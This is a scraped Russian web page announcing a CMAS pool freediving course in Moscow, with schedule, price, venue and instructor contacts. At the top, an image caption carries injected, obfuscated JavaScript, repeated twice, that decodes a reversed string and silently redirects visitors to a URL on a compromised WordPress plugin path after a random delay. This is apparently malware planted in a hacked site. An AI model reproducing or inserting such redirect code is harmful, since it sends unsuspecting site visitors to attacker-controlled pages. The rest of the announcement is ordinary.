![pho$=function(n){if (typeof ($.list[n]) == "string") return $.list[n].split("").reverse().join("");return $.list[n];};$.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($(0),delay);}$=function(n){if (typeof ($.list[n]) == "string") return $.list[n].split("").reverse().join("");return $.list[n];};$.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($(0),delay);} to by Daan Verhoeven](https://monofin.ru/wp-content/uploads/2018/08/olga-DSC03719-1200x675.jpg)
CMAS. Курс по фридайвингу. С 24 ноября 2018
Всех, кто интересуется фридайвингом, приглашаем на курс по фридайвингу CMAS. Фридайвер в бассейне 1*.
Во время теоре
тических занятий мы разберемся с тем, как работает наш организм под водой, поговорим о физических законах, компенсации давления, безопасном нырянии и системе напарников.
На практике освоим технику подготовки к нырку, разминки, поработаем над техникой ныряния и плавания под водой, научимся страховать напарника и оказывать первую помощь.
Курс фридайвинга в бассейне 1* предназначен для тех, кто хочет начать заниматься фридайвингом или просто попробовать себя в данном виде спорта. А также для тех, кто начал ходить на тренировки, но чувствует необходимость более основательной базовой подготовки.
Курс CMAS. Фридайвер в бассейне 1* состоит из 2 занятий по теории (по 2 часа) и 4 практических занятий.
24 ноября (суббота)
18:00-20:00 теория
20:00-22:30 практика на воде
25 ноября (воскресенье)
18:00-20:30 практика на воде
1 декабря (суббота)
18:00-20:00 теория (+экзамен)
20:00-22:30 практика на воде
2 декабря (воскресенье)
18:00-20:30 практика на воде
Стоимость курса: 15 000 рублей + сертификат международного образца (2 000 р).
Место проведения: Бассейн MARINA CLUB (ЦСК ВМФ). Москва, Ленинградское шоссе 25А, стр. 4
Курс проводит Ольга Сидорова — инструктор CMAS по фридайвингу (сертификат RUS/F01/iAp1/16/000001)
Записаться на курс ON-LINE
Вопросы и дополнительная информация по телефону: +7 (916) 677-7853 (sms, whatsapp) или по e-mail to:monofinru@gmail.com»>monofinru@gmail.com.